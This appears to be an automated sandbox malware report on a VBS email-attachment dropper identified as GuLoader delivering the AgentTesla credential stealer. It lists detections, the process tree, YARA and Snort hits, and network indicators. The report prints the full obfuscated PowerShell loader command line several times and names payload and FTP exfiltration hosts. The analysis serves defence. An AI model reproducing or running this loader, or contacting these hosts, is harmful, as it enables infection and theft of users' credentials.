Edit tour

Windows Analysis Report
SIEM_PO00938467648.vbs

Overview

General Information

Sample Name:	SIEM_PO00938467648.vbs
Analysis ID:	756154
MD5:	633811bccf3fe62978ce41a04b653083
SHA1:	bc81307b5c229094617e7cb8cdcaec55eaddad36
SHA256:	b5e4225737f935940fa23989440d5ea2c123c8affde25d6d7224e2b4abab5608
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Sigma detected: Dot net compiler compiles file from suspicious location

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Wscript starts Powershell (via cmd or directly)

Potential malicious VBS script found (suspicious strings)

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Very long command line found

May check the online IP address of the machine

Potential evasive VBS script found (use of timer() function in loop)

Obfuscated command line found

Machine Learning detection for dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses FTP

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Compiles C# or VB.Net code

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 7696 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

cmd.exe (PID: 376 cmdline: CMD.EXE /c echo C:\Windows MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6160 cmdline: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEnhPorBieSoaVadEmABlfPafPaiChnFeimitSpySlMPraNisBrkab(CeiNgnCatCr teRBeedebOuuFoiAflUn,BriSlnFitBa SuSTeeAnmHeiDasRr)Ho;Ba[TrDTrlSplVaIMamSapMaoCortitPr(Ud`"""StuNosKoeJorEl3En2Sp`"""St)Bu]chpReuBlbGulFliCacUn OusOutScaUntGoiRecor SteabxArtcheSerBunFo PoiRenJotMi SpSKoeAftJuMEmeInnReuBjIPrtFieStmXeIHongefFeoSi(OpiTrnmotSu ReCRhaBlbBrrSoiSk,AaiDonSktDo reOTepFiaNolUt,UniBunSutFl ClHskaFoaEn,whiHinSptIn GaARemCopFluPr)Ti;Ge}As'Et;Sp`$SpTPtuDueudiKorTooTonPi3Lu=Oo[JgTShuAueAuiFrrAcoovnRe1Bi]Ac:Do:LiVAnikdrBltniuSwaNolWeAStldelNooFocFo(Va0Co,Dr1Un0Ha4An8In5Un7Im6He,al1En2Pr2Ek8St8Gu,Bl6Co4Un)Pe;Ro`$ProFurUpnSaiBetTrhProAasChaBruDarTiiEsaSlnKi=Fi(EkGReeustDe-PrIDetBeeRemSkPGurPloPipReeStrSktMiyOt Ej-JePVeaMatrehTr Sn'EfHPrKTrCuaUSp:Vi\DePgoeMidpnaMigunoOvgCl\ReDCaeVofHmiIbbZerHaiFolSolcoaBatRaiChoPunoveBlnDosMo'Sk)Le.CaELilPluFrtFoiPyoFrnQu;ir`$PoiTanPotGouCurBinHveSidAl Po=sp er[PrSAeyKosIntUneTymTi.LuCGaoUbnDavTheAarIntNe]Ox:Zi:ApFGurMuoCamSoBAwaResFreHo6Sa4StSNitLnrUniGunUngFo(St`$ApobjrAunCriIntCohUnoPosUnaKeuMarAniNoaUnnAr)Fo;Sk[TrSEjyAfsVitWaeTimre.GeRGnuFonUntStiKrmUneJo.trILenSatHeeGorsioLopSeSSteDarchvMeiBicBoeEssAj.FeMBraAprNjsFohUnaUnlBa]Me:Ov:haCUdoBrpFjyBr(Ne`$DaiKanBetSluAnrOmnLgePidRe,Sc Fe0yo,Su Na Ko`$PeTMuuUneLiizirEmoannin3Do,Ci Pl`$RiiXanMitSpuSorThnTeeRedMa.SocAloStuRhnKotsp)Ta;Un[FaTKouveeLsifarNooPrnFr1st]Be:Dy:EsEManNouUnmboSUnyTisAstDieMomViLTeoBecDeaUrlBueUnsNoWUn(Po`$AbTPruSyePriAurSkoSinPr3Sk,Uk St0Ha)Ug#Sm;""";Function Tueiron4 { param([String]$sheikdmmerne); For($circumtropical=2; $circumtropical -lt $sheikdmmerne.Length-1; $circumtropical+=(2+1)){ $Driblende = $Driblende + $sheikdmmerne.Substring($circumtropical, 1); } $Driblende;}$Reptilious0 = Tueiron4 'DaIKgEtiXSk ';$Reptilious1= Tueiron4 $Biliate;&$Reptilious0 $Reptilious1;; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 4192 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 1840 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

CasPol.exe (PID: 5484 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SIEM_PO00938467648.vbs	WScript_Shell_PowerShell_Combo	Detects malware from Middle Eastern campaign reported by Talos	Florian Roth	0xa35:$s1: .CreateObject("WScript.Shell") 0x3e4db:$p1: powershell.exe 0x4b22c:$p1: powershell.exe

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.86815709366.0000000009330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000C.00000000.86571566419.0000000001100000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6160	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x159dc7:$b2: ::FromBase64String( 0x197a90:$b2: ::FromBase64String( 0x2256c5:$b2: ::FromBase64String( 0x852de:$s1: -join 0x923b3:$s1: -join 0x95785:$s1: -join 0x95e37:$s1: -join 0x97928:$s1: -join 0x99b2e:$s1: -join 0x9a355:$s1: -join 0x9abc5:$s1: -join 0x9b300:$s1: -join 0x9b332:$s1: -join 0x9b37a:$s1: -join 0x9b399:$s1: -join 0x9bbe9:$s1: -join 0x9bd65:$s1: -join 0x9bddd:$s1: -join 0x9be70:$s1: -join 0x9c0d6:$s1: -join 0x9e26c:$s1: -join
Process Memory Space: CasPol.exe PID: 5484	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 5484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 3 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenS

Snort Signatures

ET TROJAN AgentTesla Exfil via FTP - Source IP: 192.168.11.20 - Destination IP: 185.31.121.136

Timestamp:	192.168.11.20185.31.121.13649858212029927 11/29/22-18:34:46.981738
SID:	2029927
Source Port:	49858
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.11.20 - Destination IP: 185.31.121.136

Timestamp:	192.168.11.20185.31.121.13649859597722851779 11/29/22-18:34:47.016884
SID:	2851779
Source Port:	49859
Destination Port:	59772
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SIEM_PO00938467648.vbs

ReversingLabs: Detection: 34%

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: ftp.mcmprint.net

Virustotal: Detection: 9%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 52.20.78.240:443 -> 192.168.11.20:49857 version: TLS 1.2

Source:

Binary string: l8C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.pdb source: powershell.exe, 00000006.00000002.86750406025.0000000004961000.00000004.00000800.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.11.20:49858 -> 185.31.121.136:21
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.11.20:49859 -> 185.31.121.136:59772

May check the online IP address of the machine

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 52.20.78.240 52.20.78.240
Source: Joe Sandbox View	IP Address: 52.20.78.240 52.20.78.240

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akkant/VUUby127.xsn HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: qwedft.gqCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.11.20:49859 -> 185.31.121.136:59772

Source: unknown

FTP traffic detected: 185.31.121.136:21 -> 192.168.11.20:49858 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: powershell.exe, 00000006.00000003.86113003695.00000000072B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86808784268.000000001FBA1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91145990678.000000001FBE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000006.00000003.86113003695.00000000072B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86808784268.000000001FBA1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91145920354.000000001FBE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kmbImL.com
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: CasPol.exe, 0000000C.00000002.91095102327.0000000001440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwedft.gq/Akkant/VUUby127.xsn
Source: powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86807185996.000000001C701000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91121875644.000000001D9FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ZK1g7ahAv5q7aIVR.com
Source: CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ZK1g7ahAv5q7aIVR.comXy
Source: powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgftp://ftp.mcmprint.netklogz
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: qwedft.gq

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 12_2_1D63A09A recv,

12_2_1D63A09A

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akkant/VUUby127.xsn HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: qwedft.gqCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 52.20.78.240:443 -> 192.168.11.20:49857 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6160, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp 